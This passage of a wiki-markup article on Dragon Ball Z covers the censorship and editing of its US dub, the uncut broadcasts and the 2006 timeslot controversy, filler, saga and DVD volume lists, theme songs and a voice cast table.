''Dragon Ball Z'' was marketed to appeal to a wide range of viewers from all ages, and contains crude humor and occasional excesses of violence which are commonly seen as inappropriate for younger audiences by American standards. When it was marketed in the US, the distribution company [[FUNimation]] alongside with [[Saban]] decided to initially focus exclusively on the young children's market, because the anime market was still small compared to the much larger children's [[cartoon]] market. The series underwent many changes, with the removal of nudity and partial nudity, references to [[sex]], [[alcoholic beverage|alcohol]], and [[tobacco smoking|smoking]]. For example, FUNimation digitally removed the [[cigarette]] from one character's mouth, and digitally pasted the word ROOT above a sign that said [[Beer|BEER]] to make it say &quot;[[Root beer|ROOT BEER]].&quot; Clear glasses with beer were recolored blue to create frothy mugs of water. Many violent scenes were left on the cutting room floor and others had wounds digitally removed or blood re-colored as spit. Dead bodies lingering on the battlefield during ongoing fights were not shown, implying they were taken away or vaporized altogether. The dialogue was changed, removing references to [[Heaven]], [[Hell]], [[God]], and [[death]]. The most infamous dialogue edits would be the characters saying &quot;I will send you to another dimension,&quot; rather than &quot;I will kill you&quot;, and another where after a villain destroys a helicopter, one of the characters exclaims &quot;It's okay, I can see their parachutes!&quot; when in the original version the crew died with the vehicle.

This amount of editing led to characters' speech not matching what occurred on screen, unrealistic and twisted plots with major holes, and obviously altered images.  These changes left many fans irate, and some ''Dragon Ball'' [[purist]]s refuse to watch the American version of the show. One of the biggest points raised by critics of the editing of violence is that the removal of wounds, blood, and death from a show ultimately about fighting will encourage violence without showing any of the consequences.

Starting with the [[Ginyu Saga|Gi'nyu arc]] (3rd US season) on [[Cartoon Network]], censorship was reduced due to fewer restrictions on cable programming. FUNimation did the dubbing on their own this time around with their own [[voice actor]]s, meeting again with mostly critical reactions. Some censoring, of [[nudity]], however, was still unavoidable. Subsequent [[DVD]] and [[VHS]] releases of those episodes still have some censorship. FUNimation still used toned down words like &quot;heck&quot;, &quot;darn&quot;, &quot;oh my gosh&quot; instead of &quot;hell&quot;, &quot;damn&quot;, &quot;oh my god&quot; even on their uncut DVDs and VHS tapes. In 2003, FUNimation decided to redub the first two sagas of ''Dragon Ball Z'', to remove the problems that were caused from their previous partnership with Saban. They also redubbed the first three movies that were also dubbed by the Ocean Group voice actors but were distributed by Pioneer. The distribution of the redubs started in April 2005.

The character &quot;[[Mr. Satan]]&quot; was changed to &quot;Hercule&quot; in the edited dub.

A very violent scene with the extended version of Freeza's impalement of Kuririn during the Freeza saga was edited out on CN and merged with the other two episodes. Non-graphic scenes such as the beginning (Kuririn getting stabbed) and the end (Kuririn getting thrown into the water) were kept in. All blood was removed from the already edited version. The full scene is viewable by purchase of the ''Frieza-Transformation (Uncut version)'' VHS or DVD.

===Creative Changes===
To an equal extent, many fans who object to censoring have taken issue with changes that are ''not'' seen as necessary, such as extraneous dialogue not found in the original, dubbing that sways the English version in its own creative direction (example: the TV audience booing Gokū's appearance during the dubbed Cell Saga while cheering him in the Japanese series), and the replacement of the entire original musical score. Combined with widely criticized voice acting, many feel that the English version of ''Dragon Ball Z'' almost seems like an entirely different show than the original, and this has led many familiar with the Japanese series to dislike FUNimation's English dub.

It is interesting to note that for the [[Ocean Group]]'s dub of the rest of the series (episodes 118-291), the replacement music was taken from [[Ruby-Spears]]'s [[Mega Man]] cartoon series which ran between 1995 and 1996 (the cartoons also shared certain voice actors).

===Post 9/11===
The day after the [[September 11 attacks]], CN cut an episode of ''Dragon Ball Z'' where Gohan saves a plane from crashing, then later has to deal with a burning skyscraper office building, due to the obvious parallel imagery. Since the series is a continuing story, Cartoon Network held off the rest of the 5th season until a few months later.

===Uncut Version===
In 2005, Cartoon Network started showing the [[uncut]] and unedited version of the first two seasons of ''Dragon Ball Z'', similar to the Japanese original, although the English version features a new darker opening theme, whereas the original Japanese themes were cheerful in tone and had bright, colorful animations, the &quot;new&quot; English dub still doesn't have the original Japanese soundtrack.

Most importantly, all fighting scenes are totally uncut, but several other differences can be seen, like foamy water now actually being beer, blood being red again (whereas the edited version showed purple) and shots of characters sticking up their middle fingers being left in. References to death and killing can be heard and Muten Rōshi's lecherous attempts on [[Bulma]] are shown at their fullest, too.

Mild use of [[profanity]] is also heard, like Jheese (Dub: Jeice) saying &quot;The crazy bastard killed Guldo!&quot; and Vegeta shouting &quot;Damn you, Kakarrot!&quot; and numerous utterances of the words ''dammit'', ''bastard'' and ''hell''. Still, the first 23 episodes of the &quot;Ultimate Uncut Special Edition&quot; were profanity-free, just like all the episodes of the FUNimation dub of DBZ. Those still contained euphemisms for profane words such as &quot;darn&quot;, &quot;heck&quot; and &quot;gosh&quot;. Episodes 24-67 did, however. 

Scenes containing graphic violence, like Vegeta blowing up a Saibaiman, Gokū shredding his hand on his training rope while on his way to Planet Namek, Vegeta slamming his arm clean through [[Zarbon]]'s stomach, Vegeta decapitating Gurd (Dub: Guldo) and destroying his still-speaking disembodied head, and Gohan getting severly beaten by Recoome are restored.

Scenes featuring [[Launch (Dragon Ball)|Lunch]] also are restored; she was edited out of 4 episodes of the older version, because only the first 13 episodes of [[Dragon Ball]] had been dubbed at the time in which she did not appear. Other characters such as Karin, Piccolo, Tenshinhan, Chiaotzu, and Yajirobe had also not been seen in those 13 episodes, but they were important to DBZ's plot. Since Lunch was not, and her scenes included bank robbing, guns, and alcohol, they decided to remove her. In the new release, she is constantly following Tenshinhan due to her love for him.

Other new scenes include the showing of Gohan's penis (albeit not detailed) and Gokū's bare butt while bathing at Princess Snake's palace. The Saibaimen are also more sadistic.

Even missing episodes that were totally left out by [[FUNimation]] are now shown, such as young Gohan helping out a [[robot]] that refused to help him as an act of teaching him to take care of himself, and eventually saved his life before he shut down and &quot;died&quot;.

====Toonami Timeslot Controversy====
After [[Cartoon Network]] completed its airing of the uncut version on weeknights at 10:30PM EST, it was put on [[Toonami]] on Saturdays at 7:30PM EST. While there weren't many complaints about earlier episodes, there was controversy from parents over episodes such as '''Gohan Goes Bananas''' (which shows Gohan transforming into an [[Oozaru]] and then back into a boy, during which his [[penis]] and [[testicles]] are shown) and '''Princess Snake''' (which shows Gokū's bare buttocks while excercising in the spa and after he comes out. It also has a scene which shows one of Princess Snake's servants shooting herself in the head, but she doesn't die). Airing these episodes in the 7:30PM timeslot on Saturday nights makes this easier for young kids to watch them, as opposed to airing them at 10:30PM during the week, when most children are asleep.

In response to this controversy, Cartoon Network officially removed the uncut version from their schedule on [[January 21]] [[2006]] and replaced it with the original [[Saban]]-edited version from 1996, which heavily altered the show's content for young children. Strangely, these episodes aired at a TV-PG rating, though this was probably just a mistake due to the sudden schedule change. This broadcast ended on February 18, 2006, when the show was replaced by reruns of ''[[Teen Titans (animated series)|Teen Titans]]''. 

On Wednesday [[February 15]] [[2006]], ''Dragonball Z'' returned to the 10:30PM slot on Cartoon Network and airs Monday through Thursday at 10:30PM EST, right before [[Adult Swim]]. This weeknight version is the edited FUNimation dub, and is starting in the middle of the [[Frieza Saga]] rather than the beginning of the series.

On Monday [[February 27]]  [[2006]], The weeknight run returned to TV-Y7 FV.

==Filler==
[[Filler]] is used to pad out the series for many reasons; in the case of ''Dragon Ball Z'', more often than not, it was because the anime was running alongside the manga, and there was no way for the anime to run ahead of the manga (since Toriyama was still writing it, at the same time).

The company behind the anime, [[Toei Animation]], would occasionally make up their own little side stories to either further explain things, or simply to extend the series. Filler doesn't come only in the form of side stories, though; sometimes it's as simple as adding some extra attacks into a fight.

As the anime series was forced to expand 12 pages of manga text into 20 minutes of animation footage, these changes were introduced to kill time or to allow the (anime) writers to explore some other aspect of the series' universe (the Anoyo-ichi Budōkai (Afterlife tournament) between the Cell Saga and Majin Buu Saga and the Garlic Jr. arc, a.k.a. Garlic Jr.'s return from the ''Return my Gohan!!'' (''Dead Zone'') movie between the Freeza Saga and Trunks arc (pre-Cell Saga) are both good examples of this).  They have also been known to contradict the manga and often create new [[plot holes]]. For example, during the Freeza Saga, there is a flashback showing that Vegeta, Raditz and Nappa were already aware that Freeza destroyed their home planet long before the events in ''DBZ'' took place even though the series showed that Vegeta was not aware until Dodoria told him on Planet Namek.

==Sagas==
;'''Toei  Sagas'''
#Saiyan Saga (Episodes 1~35);         [[26 April]] [[1989]] - [[7 February]] [[1990]]
#Freeza Saga (Episodes 36~125);        [[14 February]] [[1990]] - [[29 January]] [[1992]]
#Cell Saga (Episodes 126~199);         [[5 February]] [[1992]] - [[23 June]] [[1993]]
#Buu Saga (Episodes 200~291);    [[30 June]] [[1993]] - [[31 January]] [[1996]]

;'''FUNimation's Sagas'''
Saiyan Saga:

The [[Vegeta Saga]] (Formerly known as the [[Saiyan Saga]])

Freeza Saga:
*The [[Namek Saga]]
*The [[Ginyu Saga|Captain Ginyu Saga]] (Episodes 68~74)
*The [[Frieza Saga]] (Episodes 75~106)
*The [[Garlic Junior Saga]] (Episodes 107~116)
*The [[Trunks Saga]] (Episodes 117~124)
Cell Saga:
*The [[Androids Saga]] (Episodes 125~138)
*The [[Imperfect Cell Saga]] (Episodes 139~151)
*The [[Perfect Cell Saga]] (Episodes 152~164)
*The [[Cell Games Saga]] (Episodes 165~193)
Buu Saga:
*The [[Great Saiyaman Saga]] (Episodes 194~208)
*The [[World Tournament Saga]] (Episodes 209~218)
*The [[Babidi Saga]] (Episodes 219~230)
*The [[Majin Buu Saga]] (Episodes 231~252)
*The [[Fusion Saga]] (Episodes 253~274)
*The [[Kid Buu Saga]] (Episodes 275~290)

==Movies, TV Specials, &amp; Other==
;'''''Movies'''''
;'''Toei  Titles'''
#[[Return my Gohan!!]]
#[[The World's Strongest Guy]]
#[[Super Deciding Battle for the Entire Planet Earth]]
#[[Super Saiyan Son Gokū]]
#[[Cooler's Revenge|The Incredible Mightiest vs. Mightiest]]
#[[Return of Cooler|Clash!! 10,000,000,000 Powerful Warriors]]
#[[Super Android 13|Extreme Battle!! The Three Great Super Saiyans]]
#[[Broly: The Legendary Super Saiyan|Burn Up!! A Close, Intense, Super-Fierce Battle]]
#[[Bojack Unbound|The Galaxy at the Brink!! The Super Incredible Guy]]
#[[Broly: The Second Coming|The Dangerous Duo! Super-Warriors Can't Rest]]
#[[Bio-Broly|Super-Warrior Defeat!! I'm the One who'll Win]]
#[[The Rebirth Of Fusion|Fusion Reborn!! Gokū and Vegeta]]
#[[Dragon Fist Explosion!! If Gokū Won't Do It, Who Will?]]

;'''FUNimation's Titles'''
#[[Return my Gohan!!|Dead Zone]]
#[[The World's Strongest]]
#[[The Tree of Might]]
#[[Lord Slug (film)|Lord Slug]]
#[[Cooler's Revenge]]
#[[Return of Cooler]]
#[[Super Android 13!]]
#[[Broly: The Legendary Super Saiyan]]
#[[Bojack Unbound]]
#[[Broly: The Second Coming]]
#[[Bio-Broly]]
#[[Fusion Reborn]]
#[[Dragon Fist Explosion!! If Gokū Won't Do It, Who Will?]] (FUNimation's title is unknown)  

;'''''TV Specials'''''
;'''Toei  Titles'''
#[[A Lonesome, Final Battle: The Father of Z-Warrior Kakarrot, who Challenged Freeza]]
#[[Resistance to Despair!! The Remaining Super-Warriors, Gohan and Trunks]]

;'''FUNimation's Titles'''
#[[Bardock: The Father of Goku]]
#[[The History of Trunks]]

;'''''Other'''''
*The Plan to Eradicate the Saiyans (Video game footage)

==Uncut DVDs==
''Dragon Ball Z'' has seen 2 types of DVD releases. These releases are the uncut and edited versions. Originally, the edited versions were aired on TV and were the first DVDs to be produced by [[Geneon]] [Pioneer]. If you wish to own every episode of ''Dragon Ball Z'' right now on DVD, this can be done with the edited version. If you want the uncut version which contains extra footage, blood, and some profanity, as well as Japanese audio, you're going to want to purchase the uncut DVDs by FUNimation. Starting with episode 68, FUNimation has released all DVDs uncut. Movies 4-12 are also uncut and have been released by FUNimation. Recently, FUNimation has begun to re-release the first 67 episodes in uncut form. FUNimation is also re-releasing the first 3 movies as Ultimate Uncut Editions, but the original Pioneer dubs of these movies were actually more uncut and accurate to their original Japanese counterparts. The original dubs of the movies have the original music as well as the scripts that are much more closer to the original Japanese version.

FUNimation's DVDs have been criticised for containing only a few episodes (usually 3, sometimes 4) per disk and costing far more than they should. Every DBZ episode is about 20 minutes. It should be noted that most other animes that have 20 minute episodes usually have around 10 episodes on every DVD for 3+ hours worth of content unlike FUNimation's DVDs that have 60 or 80 minutes of content.

===Episode and Volume Numbering Descrepancy===
The original Japanese episodes totaled to 291. FUNimation dubbed the first release of DVDs which consisted of episodes 1-53 (jap. 1-67), 14 episodes worth of content were cut. FUNimation later cut one in the Freeza saga as well (Episode 80, &quot;Piccolo the Super-Namek&quot;). This episode was released as a &quot;Bonus&quot; episode on the Frieza - Transformation DVD. Because of Saban's cuts, all FUNimation released uncut DVDs have incorrect episode and volume numbering. Most of the old uncut DVDs by FUNimation (Ginyu saga and up) do not have volume numbers and if they do, the numbers are inaccurate. It is still unknown whether FUNimation will re-release all the DVDs with the correct episode and volume numbering but it is unlikely. Below is a list of every uncut DVD released (and to be released) by FUNimation. You can see the episode numbering given on the Uncut DVD releases, with the correct episode numbering listed beside it in brackets.

===Episodes===    
*Vol. 1 Vegeta Saga 1: Saiyan Showdown - Episodes 1-3
*Vol. 2 Vegeta Saga 1: Piccolo's Plan - Episodes 4-6
*Vol. 3 Vegeta Saga 1: Into the Wild - Episodes 7-9
*Vol. 4 Vegeta Saga 1: Gohan's Trials - Episodes 10-12
*Vol. 5 Vegeta Saga 1: Goku Held Hostage - Episodes 13-15
*Vol. 6 Vegeta Saga 1: Doomed Heroes - Episodes 16-18
*Vol. 7 Vegeta Saga 1: Back From the Dead - Episodes 19-21

*Vol. 8 Vegeta Saga 2: Saiyan Invasion (Unreleased, coming 3/21/2006) - Episodes 22-24
*Vol. 9 Vegeta Saga 2: Ultimate Sacrifice (Unreleased, coming 5/16/2006) - Episodes 25-27
*Vol. 10 Vegeta Saga 2: ????? (Unreleased) - Episodes 28-31
*Vol. 11 Vegeta Saga 2: ????? (Unreleased)- Episodes 32-35

*Vol. 12 Namek - (Unreleased) - Episodes 36-38
*Vol. 13 Namek - (Unreleased) - Episodes 39-41
*Vol. 14 Namek - (Unreleased) - Episodes 42-44
*Vol. 15 Namek - (Unreleased) - Episodes 45-47
*Vol. 16 Namek - (Unreleased) - Episodes 48-50
*Vol. 18 Namek - (Unreleased) - Episodes 51-53
*Vol. 19 Namek - (Unreleased) - Episodes 54-57
*Vol. 20 Namek - (Unreleased) - Episodes 58-60
*Vol. 21 Namek - (Unreleased) - Episodes 61-63
*Vol. 22 Namek - (Unreleased) - Episodes 64-67

*Vol. 23 Captain Ginyu - Assault - Episodes 54-56 (68-70)
*Vol. 24 Captain Ginyu - Double Cross - Episodes 57-60) (71-74)

*Vol. 25 Frieza - The Summoning - Episodes 61-63 (75-77)
*Vol. 26 Frieza - Transformation - Episodes 64-66 + Bonus Episode (78-81)
*Vol. 27 Frieza - Revealed - Episodes 67-69) (82-84)
*Vol. 28 Frieza - Death of a Prince - Episodes 70-72 (85-87)
*Vol. 29 Frieza - Clash - Episodes 73-75 (88-90)
*Vol. 30 Frieza - Desperation - Episodes 76-78 (91-93)
*Vol. 31 Frieza - Super Saiyan Goku - Episodes 79-81 (94-96)
*Vol. 32 Frieza - Eleventh Hour - Episodes 82-85 (97-100)
*Vol. 33 Frieza - Fall of a Tyrant - Episodes 86-89 (101-104)
*Vol. 34 Frieza - Namek's End - Episodes 90-92 (105-107)

*Vol. 35 Garlic Jr. - Black Water Mist - Episodes 93-95 (108-110)
*Vol. 36 Garlic Jr. - Sacred Water - Episodes 96-98 (111-113)
*Vol. 37 Garlic Jr. - Vanquished - Episodes 99-102 (114-117)

*Vol. 38 Trunks - Mysterious Youth - Episodes  103-105) (118-120)
*Vol. 39 Trunks - Prelude to Terror - Episodes  106-110) (121-125)

*Vol. 40 Androids - Invasion - Episodes 111-114 (126-129)
*Vol. 41 Androids - Dr. Gero - Episodes 115-117 (130-132)
*Vol. 42 Androids - Assassins - Episodes 118-120 (133-135)
*Vol. 43 Androids - Invincible - Episodes 121-124 (136-139)

*Vol. 44 Imperfect Cell - Encounter - Episodes 125-127 (140-142)
*Vol. 45 Imperfect Cell - Discovery - Episodes 128-130 (143-145)
*Vol. 46 Imperfect Cell - Race Against Time - Episodes 131-133 (146-148)
*Vol. 47 Imperfect Cell - 17's End - Episodes 134-137 (149-152)

*Vol. 48 Perfect Cell - Hunt for 18 - Episodes 138-140 (153-155)
*Vol. 49 Perfect Cell - Temptation - Episodes 141-143 (156-158)
*Vol. 50 Perfect Cell - Perfection - Episodes 144-146 (159-161)
*Vol. 51 Perfect Cell - Unstoppable - Episodes 147-150 (162-165)

*Vol. 52 Cell Games - Ultimatum - Episodes 151-153 (166-168)
*Vol. 53 Cell Games - A Moments Peace - Episodes 154-156  (169-171)
*Vol. 54 Cell Games - A Guardians Return - Episodes 157-159 (172-174)
*Vol. 55 Cell Games - The Games Begin - Episodes 160-162 (175-177)
*Vol. 56 Cell Games - Surrender - Episodes 163-165 (178-280)
*Vol. 57 Cell Games - Earth's Last Hope - Episodes 166-168 (181-183)
*Vol. 58 Cell Games - Awakening - Episodes 169-171 (184-186)
*Vol. 59 Cell Games - Sacrifice - Episodes 172-175 (187-190)
*Vol. 60 Cell Games - Nightmares End - Episodes 176-179 (191-194)

*Vol. 61 Great Saiyaman - Opening Ceremony - Episodes 180-182 (195-197)
*Vol. 62 Great Saiyaman - Final Round - Episodes 183-185 (198-200)
*Vol. 63 Great Saiyaman - Gohan's Secret - Episodes 186-188 (201-203)
*Vol. 64 Great Saiyaman - Declaration - Episodes 189-191 (204-206)
*Vol. 65 Great Saiyaman - Crash Course - Episodes 192-194 (207-209)

*Vol. 66 World Tournament - Junior Division - Episodes 195-197 (210-212)
*Vol. 67 World Tournament - The Draw - Episodes 198-200 (213-215)
*Vol. 68 World Tournament - Blackout - Episodes 201-204 (216-219)

*Vol. 68 Babidi - Decent - Episodes 205-207 (220-222)
*Vol. 70 Babidi - Battle Royale - Episodes 208-210 (223-225)
*Vol. 71 Babidi - Dark Prince Returns - Episodes 211-213 (226-228)
*Vol. 72 Babidi - Rivals - Episodes 214-216 (229-231)

*Vol. 73 Majin Buu - The Hatching - Episodes 217-219  (232-234)
*Vol. 74 Majin Buu - Attonment - Episodes 220-222 (235-237)
*Vol. 75 Majin Buu - Revival - Episodes 223-225 (238-240)
*Vol. 76 Majin Buu - Tacticts - Episodes 226-228 (241-243)
*Vol. 77 Majin Buu - Defiance - Episodes 229-231 (244-246)
*Vol. 78 Majin Buu - A Hero's Farewell - Episodes 232-234 (247-249)
*Vol. 79 Majin Buu - Emergence - Episodes 235-238 (250-253)

*Vol. 80 Fusion - Evil Buu - Episodes 239-241 (254-256)
*Vol. 81 Fusion - Play for Time - Episodes 242-244 (257-259)
*Vol. 82 Fusion - Losing Battle - Episodes 245-247 (260-262)
*Vol. 83 Fusion - Ambush - Episodes 248-250 (263-265)
*Vol. 84 Fusion - Hope Returns - Episodes 251-253 (266-268)
*Vol. 85 Fusion - The Last Saiyaman - Episodes 254-256 (269-271)
*Vol. 86 Fusion - Internal Struggle - Episodes 257-260 (272-275)

*Vol. 87 Kid Buu - Regression - Episodes 261-263 (276-278)
*Vol. 88 Kid Buu - Saiyan Pride - Episodes 264-266 (279-281)
*Vol. 89 Kid Buu - Vegeta's Plea - Episodes 267-269 (282-284)
*Vol. 90 Kid Buu - The Price of Victory - Episodes 270-272 (285-287)
*Vol. 91 Kid Buu - A New Beginning - Episodes 273-276 (288-291)

===Movies===
*Movie #1: Dead Zone
*Movie #2: World's Strongest
*Movie #3: The Tree of Might
*Movie #4: Lord Slug
*Movie #5: Cooler's Revenge
*Movie #6: The Return of Cooler
*Movie #7: Super Android 13!
*Movie #8: Broly: The Legendary Super Saiyan
*Movie #9: Bojack Unbound
*Movie #10: Broly: Second Coming
*Movie #11: Bio-Broly
*Movie #12: Fusion Reborn (Not yet released, coming 3/28/2006)

===TV Specials===
*TV Special #1: Bardock: The Father of Goku
*TV Special #2: The History of Trunks

==Theme Songs==
===Japanese Opening (OP) Themes===
&quot;CHA-LA HEAD-CHA-LA&quot;
:Lyrics: Yukinojō Mori
:Music: Chiho Kiyooka
:Arrangement: Kenji Yamamoto
:Vocals: Hironobu Kageyama
*Version 1: episodes 1~21 (Not on FUNimation's DVDs, but is on movies 1-3, Pioneer dub)
*Version 2: episodes 22~117
*Version 3: episodes 118~199

&quot;WE GOTTA POWER&quot;
:Lyrics: Yukinojō Mori
:Music: Keiju Ishikawa
:Arrangement: Keiju Ishikawa
:Vocals: Hironobu Kageyama
*Episodes 200~291

===English Opening Themes===
&quot;Main Title&quot; (AKA &quot;Rock the Dragon&quot;)
&quot;DragonBall Z&quot; (AKA &quot;DBZ Theme&quot;)
&quot;DBZ Uncut Theme&quot;
&quot;Eternal Sacrifice&quot; (Broly: The Legendary Super Saiyan theme song)
:Vocals: Tendril

===Japanese Ending (ED) Themes===
&quot;でてこいとびきりZENKAIパワー!&quot; / &quot;Detekoi Tobikiri ZENKAI Pawā!&quot; / &quot;Come Out, Incredible ZENKAI Power!&quot;
:Lyrics: Toshihisa Arakawa
:Music: Takeshi Ike
:Arrangement: Kenji Yamamoto
:Vocals: MANNA
*Episodes 1~199

&quot;僕達は天使だった&quot; / &quot;Boku-tachi ha Tenshi Datta&quot; / &quot;We Were Angels&quot;
:Lyrics: Yukinojō Mori
:Music: Takeshi Ike
:Arrangement: Osamu Tozuka
:Vocals: Hironobu Kageyama
*Episodes 200~291

==Cast List==
{|
|-
! Character Name !! Voice Actor (Japanese) !! Voice Actor (English)
|-
| [[Son Goku (Dragon Ball)|Son Gokū]] || [[Masako Nozawa]]|| [[Ian James Corlett]]&lt;br/&gt;[[Peter Kelamis]]&lt;br/&gt;[[Sean Schemmel]]
|-
| [[Son Gohan]] || Masako Nozawa || [[Saffron Henderson]]&lt;br/&gt;[[Stephanie Nadolny]]&lt;br/&gt;[[Kyle Hebert]]
|-
| [[Son Goten]] || Masako Nozawa || [[Kara Edwards]]
|-
| [[Piccolo (Dragon Ball)|Piccolo]] || [[Toshio Furukawa]] || [[Scott McNeil]]&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Vegeta]] || [[Ryo Horikawa]] || [[Brian Drummond]]&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Bulma]] || [[Hiromi Tsuru]] || [[Lalainia Lindbjerg]]&lt;br/&gt;[[Tiffany Vollmer]]
|-
| [[Kuririn]] (Toriyama: Kulilin) (Bandai: Klylin) (Dub: Krillin)|| [[Mayumi Tanaka]] || [[Terry Klassen]]&lt;br/&gt;[[Sonny Strait]]
|-
| [[Yajirobe]] || Mayumi Tanaka || Brian Drummond&lt;br/&gt;[[Mike McFarland]]
|-
| [[Yamcha]] || [[Tōru Furuya]] || [[Ted Cole]]&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Tenshinhan]] (Dub: Tien Shinhan) || [[Hirotaka Suzuoki]] || [[Matthew Smith]]&lt;br/&gt;[[John Burgmeier]]
|-
| [[Chaozu|Chiaotzu]] (Chaoz) (Chaozu) || [[Hiroko Emori]] || [[Cathy Weseluck]]&lt;br/&gt;[[Monika Antonelli]]
|-
| [[Chi-Chi (Dragon Ball)|Chi-Chi]] || [[Mayumi Sho]] (1-66)&lt;br/&gt;[[Naoko Watanabe]] (88-291)|| [[Laara Sadiq]]&lt;br/&gt;[[Cynthia Cranz]]
|-
| [[Muten Rôshi|Muten Rōshi]]/Kame-Sen'nin (Dub: Master Roshi) || [[Kohei Myauchi]] (2-260)&lt;br/&gt;[[Hiroshi Masuoka]] (288-291)|| Ian James Corlett&lt;br/&gt;[[Dave Ward]]&lt;br/&gt;Mike McFarland
|-
| [[Oolong (Dragon Ball)|Oolong]] || [[Naoki Tatsuta]]|| [[Doug Parker]]&lt;br/&gt;[[Mark Britten]]&lt;br/&gt;[[Bradford Jackson]]
|-
| [[Puar|Pu-erh]] (Pu'er) (Dub: Puar) || Naoko Watanabe || Cathy Weseluck&lt;br/&gt;Monika Antonelli
|-
| [[Mr. Satan]] (Edited dub: Hercule) || [[Daisuke Gōri]] || [[Chris Rager]]
|-
| [[Videl]] || [[Yuko Minaguchi]] || Kara Edwards
|-
| [[Android 18|Jinzōningen #18]] (Cyborg #18) (Dub: Android #18) || [[Miki Itou]] || [[Meredith McCoy]]
|-
| [[Mirai Trunks]] || [[Takeshi Kusao]] || [[Eric Vale]]
|-
| [[Chibi Trunks]] || Takeshi Kusao || [[Laura Bailey (voice actress)|Laura Bailey]]
|-
| [[Uranai Baba]] || [[Junpei Takiguchi]] (9-34)&lt;br/&gt;Mayumi Tanaka (207-271) || [[Helen Kennedy]]&lt;br/&gt;[[Linda Young]]
|-
| [[Dende]] || [[Tomiko Suzuki]] (49-288)&lt;br/&gt;[[Hiro Yuuki]] (290-291)|| [[Paulina Gillis]]&lt;br/&gt;[[Ceyil Dellgadillo]]&lt;br/&gt;Laura Bailey&lt;br/&gt;[[Justin Cook]]
|-
| [[Gyuumao|Gyūmaō]] (Dub: Ox-King) || Daisuke Gōri || Dave Ward&lt;br/&gt;Mark Britten&lt;br/&gt;Kyle Hebert
|-
| [[King Yemma|Emma-Daiō]] (Dub: King Yemma) || Daisuke Gōri || [[Chris Rager]]
|-
| Umigame || Daisuke Gōri || [[Christopher Sabat]]
|-
| [[Mr. Popo]] || [[Toku Nishio]] || [[French Tickner]]&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Korin|Karin]] (Dub: Korin)  || [[Ichiro Nagai]] (26-192)&lt;br/&gt;Naoki Tatsuta (238-285) || Doug Parker&lt;br/&gt;Mark Britten&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Kami (Dragon Ball)|Kami-sama]] || [[Takeshi Aono]] || Ian James Corlett&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Marron (Dragon Ball)|Marron]] || Tomiko Suzuki || [[Laura Bailey]]
|-
| [[North Kaiô|North Kaiō]] (Dub: King Kai) || [[Joji Yanami]] || Dave Ward&lt;br/&gt;Sean Schemmel
|-
| Dr. Brief || Joji Yanami || [[Alvin Sanders]]&lt;br/&gt;[[Chris Forbis]]
|-
| Bulma's Mom || [[Mariko Mukai]] (44-107)&lt;br/&gt;[[Youko Kawanami]] (124-256)&lt;br/&gt;Hiroko Emori (140) || [[Jane Perry]]&lt;br/&gt;[[Cynthia Cranz]]
|-
| [[Launch (Dragon Ball)|Lunch]] (Dub: Launch) || [[Mami Koyama]] || Meredith McCoy
|-
| [[Raditz]] || [[Shigeru Shiba]] || [[Jason-Gray Standford]]&lt;br/&gt;[[Christopher Sabat]]&lt;br/&gt;Justin Cook
|-
| Nappa || [[Shouzou Iizuka]] || Scott McNeil&lt;br/&gt;[[Christopher Sabat]]&lt;br/&gt;[[Phil Parsons]]
|-
| [[Freeza]] (Dub: Frieza) || [[Ryuusei Nakao]] || [[Pauline Newstone]]&lt;br/&gt;[[Linda Young]]
|-
| [[Zarbon]] || [[Sho Hayami]] || [[Paul Dobson]]&lt;br/&gt;[[Christopher Sabat]]
|-
| [[Dodoria]] || Yukitoshi Hori || [[Ward Perry]]&lt;br/&gt;[[Chris Forbis]]
|-
| [[Captain Ginyu|Captain Gi'nyu]] (Bandai: Ginew) || [[Hideyuki Hori]] || [[Richard Newman]]&lt;br/&gt;[[Dale Kelly]]&lt;br/&gt;[[Brice Armstrong]]
|-
| Jheese (Dub: Jeice) || [[Kazumi Tanaka]] || Scott McNeil&lt;br/&gt;[[Christopher Sabat]]
|-
| Batta (Dub: Burter) || [[Yukimassa Kishino]] || [[Alec Willows]]&lt;br/&gt;Mark Britten&lt;br/&gt;Christopher Sabat
|-
| Recoom (Dub: Recoome) || [[Kenji Utsumi]] || [[David Kaye]]&lt;br/&gt;[[Christopher Sabat]]
|-
| Gurd (Dub: Guldo) || Kouzou Shioya || [[Terry Klassen]]&lt;br/&gt;[[Dylan Thompson]]&lt;br/&gt;[[Bill Townsley]]
|-
| Saichourou || Junpei Takiguchi (53-75)&lt;br/&gt;Masaharu Satou (100-105) || [[Lee Tockar]]&lt;br/&gt;Christopher Sabat
|-
| [[Porunga]] || Junpei Takiguchi || Christopher Sabat
|-
| [[Garlic Junior|Garlic Jr.]] || [[Akira Kamiya]] (Movie)&lt;br/&gt;Shigeru Shiba (TV Series) || [[Don Brown]]&lt;br/&gt;Chuck Huber
|-
| Maron || [[Yuuko Kobayashi]] || Tiffany Vollmer
|-
| King Cold || Daisuke Gōri (118-121)&lt;br/&gt;[[Masaharu Satou]] (195) || Bart Mayer
|-
| [[Dr. Gero]] || [[Kouji Yata]] || [[Kent Williams]]
|-
| [[Android 16|Jinzōningen #16]] (Android #16) || [[Hikaru Midorikawa]] || [[Jeremy Inman]]
|-
| [[Android 17|Jinzōningen #17]] (Cyborg #17) (Dub: Android #17) || [[Shigeru Nakahara]] || [[Chuck Huber]]
|-
| [[Cell (Dragon Ball)|Cell]] || [[Norio Wakamoto]] || [[Dameon Clarke]]
|-
| [[Buu (Dragon Ball)|Majin-Buu]] (Majin-Boo) || [[Kouzou Shioya]] || [[Josh Martin]]&lt;br/&gt;Justin Cook
|-
| [[Babidi]] || Joji Yanami || [[Duncan Brannan]]
|-
| [[Dabura|Dābura]] || [[Ryuuzaburou Ootomo]] || [[Rick Robertson]]
|-
| Kaiōshin || [[Yuuji Mitsuya]] || Kent Williams
|-
| Old Kaiōshin || [[Reizu Nomoto]] || Kent Williams
|-
| Kibito || [[Shin Aomori]] || Chuck Huber
|-
| [[Shenlong]] (Dub: Dragon God/Eternal Dragon/Shenron) || [[Kenji Utsumi]] (20-100) &lt;br/&gt;Masaharu Satou (193-283) || Christopher Sabat
|-
| Tenka-ichi Budōkai Announcer || Hirotaka Suzoki|| Eric Vale
|-
| [[Narrator]] || Joji Yanami || [[Doc Harris]]&lt;br/&gt;Dale Kelly&lt;br/&gt;Kyle Hebert
!
|}

==Video Games==
